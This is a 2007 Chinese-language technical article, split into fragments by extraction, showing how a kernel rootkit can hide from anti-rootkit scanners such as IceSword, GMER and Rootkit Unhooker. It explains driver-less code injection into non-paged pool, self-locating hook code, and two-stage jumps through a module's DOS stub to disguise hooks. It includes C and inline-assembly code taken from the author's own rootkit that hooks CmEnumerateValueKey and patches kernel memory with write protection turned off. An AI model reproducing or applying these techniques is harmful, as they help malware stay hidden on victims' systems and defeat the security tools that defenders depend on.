饒過現代Anti
-
Rookit工具的內核模塊掃描
(
Bypass?modern?anti
-
rootkit?tools
's?kernel?mode?scan)
MJ0011
th_decoder@126
.
com
2007
-
10
-
24
本文描述了一些方法,可以饒過目前主流的現代Anti
-
rootkit工具,包括但不限于
:
Icesword?最新版
Gmer最新版
Rootkit?unhooker?最新版
DarkSpy?最新版
AVG?Anti
-
rootkit最新版
等等
目前的anti
-
rootkit工具中,對于內核模塊主要采用如下幾種掃描方式
:
1.
恢復ZwQuerySystemInformation的hook
,
然后利用功能號SystemModuleInformation進行枚舉
例如Icesword
2.
遍歷PsLoadModuleList
,
Driver
/
Device
/
Section?Object鏈
,
或者TypeList鏈等
(
總之是找驅動相關對象
)
進行枚舉
例如Rootkit?Unhooker
,
Gmer等
3.
內核鏡象暴力搜索
,
搜索MZ
,
PE等等標志結合進行判斷內存里是否有PE鏡象
,
如rootkit?unhooker
,
rutkowska的modgreper等,通常只能顯示為unknow?image
4.
函數引用
,
各種routine\hook等
,
先HOOK一些常用函數,然后當驅動去調用這些函數時,記下其地址,檢測時使用
,
或者是根據各種?routine
(
dispatch?routine
,
IDT
,
Image?Notfiy等
)
或各種hook
(
inline?
hook
,
iat
/
eat?hook等等
)
,通常只能顯示為unknow?image或unknow?xxx?handler等
5.
使用系統ImageLoad?Notfiy
,
使用一個BOOT驅動,記錄所有模塊load的消息
,
檢測時進行分析?如AVG?Anti
-
rootkit等
先說饒過
1
,
2
,
3
,
5
的辦法
很簡單,使用諸如ZwSetSystemInformation的函數加載驅動,然后在DriverEntry中分配NonPagedPool的內存,然后將功能代碼
/
函數copy到該內存中,然后進行必要的HOOK,最后返回STATUS_UNSUCCESSFULL
.
這樣驅動在PsLoadModuleList、各種對象鏈里就消失了,自然也就不存在于ZwQuerySystemInformation枚舉的列表里
需要注意的是,copy到內存中的代碼要盡量簡單,基本不會生成需要重定位的代碼了,但調用系統函數還是要另想辦法
我的某個RK里是這樣做的,例如A?Function用來hook?系統函數B
,
其中需要調用系統函數C,
那么分配一塊內存,大小
=?
len
(
A
)?+?
sizeof
(
ULONG
)?*?
2
在內存的前兩個DWORD放OrgB
,
以及C的地址,后面開始放函數代碼
函數中使用call?
+
5?
對自身的位置進行定位,找到內存開始的位置,然后得到OrgB和C
當然也可以在COPY入內存前自己用絕對地址定位函數
~
不過不如這個方法靈活
相關代碼
:
//hook?call?CmEnumerateValueKey
void?
InstallCMRegHook
()
{
????
PVOID?_CmEnumerateKeyValueLoc?
;
???
????
_CmEnumerateKeyValueLoc?
=?
FindCmEnumerateValueKey
();
????
//找到?call?CmEnumerateValueKey
????
HookCodeLen?
=?(
ULONG
)
NopFunc8?
-?(
ULONG
)
NewCmEnumerateValueKey?
;
????
//獲得NewCmEnumerateValueKey長度
????
HookCode3?
=?
ExAllocatePoolWithTag
(
NonPagedPool?
,
????
HookCodeLen?
+?
4?
,
????
MEM_TAG_HOOKCODE3
);
???
????
//分配內存
????
*(
ULONG
*)
HookCode3?
=?*(
ULONG
*)
_CmEnumerateKeyValueLoc?
;
???
????
//原函數地址放入內存
????
RtlCopyMemory
((
PVOID
)
HookCode3?
+?
sizeof
(
ULONG
)?,?(
PVOID
)
NewCmEnumerateValueKey?
,
HookCodeLen
);
????
//copy函數代碼
????
DO_SPINLOCK
();
????*(
ULONG
*)
_CmEnumerateValueKeyLoc?
=?
HookCode3?
+?
sizeof
(
ULONG
);
????
//進行HOOK
????
EXIT_SPINLOCK
();
????
return?
;
???
}
NTSTATUS?NewCmEnumearateValueKey
(
IN?PVOID????KeyControlBlock
,
????
IN?ULONG?Index
,
????
IN?KEY_VALUE_INFORMATION_CLASS?KeyValueInformationClass
,
????
IN?PVOID?KeyValueInformation
,
????
IN?ULONG?KeyLength
,
????
IN?PULONG?ResultLength
????
)
{
//下面找到本函數開始地址,并獲得保存在內存中的OrgCmEnumerateValueKey的地址
????
__asm
????
{
????????
push????eax
????????call????__
__
:
????????
POP????????eax
????????SUB????????eax
,
offset?__
????????add????????eax
,
offset?NewCmEnumearateValueKey
;
獲得函數開始地址
????????sub????????eax
,
4???
????????
mov????????eax
,[
eax
]
;
獲得OrgCmEnumerateValueKey
????????push????ResultLength
????????push????KeyLength
????????push????KeyValueInformation
????????push????KeyValueInformationClass
????????push????Index
????????push????KeyControlBlock
????????call????eax???
????????mov????????stat
,?
eax
;
調用原始函數
????????pop????????eax
????
}
//.....其他處理
//
//.....
}
void?
NopFunc8
()
{
????
__asm
????
{
????????
nop
????????nop
????????nop
????
}
????
return?
;
}
//上面這個NopFunc用于NewCmEumerateValueKey函數長度定位
這樣,基于ZwQuerySystemInformation
,
PsLoadModuleList
,
對象目錄,Type鏈
,
ImageLoad
,
暴力PE搜索
(
因為我們壓根就沒有PE鏡象
,
just?one?piece?of?code
~)...
接下來看如何饒過
4.
中的檢測方式
1.Hook
常用函數
:
這個很簡單了,恢復自己要用的函數
~
或者壓根就不用那些函數,HOOK代碼大部分都是數據過濾
/
處理部分,所以完全可以一個系統函數也不調
...
2.
各種routine檢測,這個可以用多次跳轉方式搞定,例如Dispatch?hook
,
因為獲取各種DRIVER的DISPATCH?原始地址沒有比較通用的方法,所以檢測dispatch是否被HOOK的方式通常都是檢測其地址是否在其模塊的Code?Section中
(
類似的還有object?hook
,
pxxxx?hook等
),
使用此方法的例如rootkit?unhooker
,?
gmer等
只要我們先使用這樣的方法,就可以饒過檢測,讓Anti
-
rootkit工具不知道是我們的模塊HOOK了這里
:
先將dispatch地址跳轉到code?section中不用的部分,
5
個字節就足夠了,然后在這
5
個字節里使用jmp指令再跳到我們的模塊里,這樣Anti
-
rootkit工具檢測時
,
就會發現dispatch?routine仍然在該模塊的code?section中
通過這種方法也可以饒過對dispatch?hook\object?hook的檢測
inline?
hook
/
iat
/
eat?hook也可以用類似的方法來躲過模塊檢測,不過無法避免HOOK被檢測到?
^-^
即使Anti
-
rootkit工具使用更復雜的算法,對各個routine進行深度代碼級掃描
,
我們也可以通過復雜邏輯/代碼,將我們的最后跳轉地址藏起來:)
一個簡單的雙段跳饒過object?hook檢測的代碼
:
object?hook方法因為未被公開過,故細節略去,方便起見,沒有寫找code?section的代碼,直接將跳轉代碼寫到了ntoskrnl的DOS?Header中
同樣來自于我的某RK
:
ULONG?InsideHookCode
(
ULONG?NewAddress?
,?
ULONG?BaseCode?
)
{
//該函數用于將hook代碼轉接到模塊的DOS頭中
????//in?:NewAddress:?real?hookcode?to?jump
????//in?:ModuleName:?kernel?module?base?address?to?inject
????//out?:NewJump?Address
ULONG?TempCode?
=?
BaseCode?
;
????
TempCode?
=?
TempCode?
+?
sizeof
(
IMAGE_DOS_HEADER
)?;
????
//into?DOS?stub
????
DO_SPINLOCK
();
????
WPOFF
();
???
????*(
BYTE
*)
TempCode?
=?
0xe9?
;
????
__asm
????
{
????????
push????eax
????????push????ecx
????????mov????????ecx
,?
TempCode
????????mov????????eax
,?
NewAddress
????????sub????????eax
,?
ecx
????????sub????????eax
,?
5
????????
mov????????dword?ptr
[
ecx
+
1
]?,?
eax
????????pop????????ecx
????????pop????????eax
????
}
???
????
WPON
();
????
EXIT_SPINLOCK
();
????
//write?jmp?NewAddress?into?DOS?stub
????
return?
TempCode?
;
}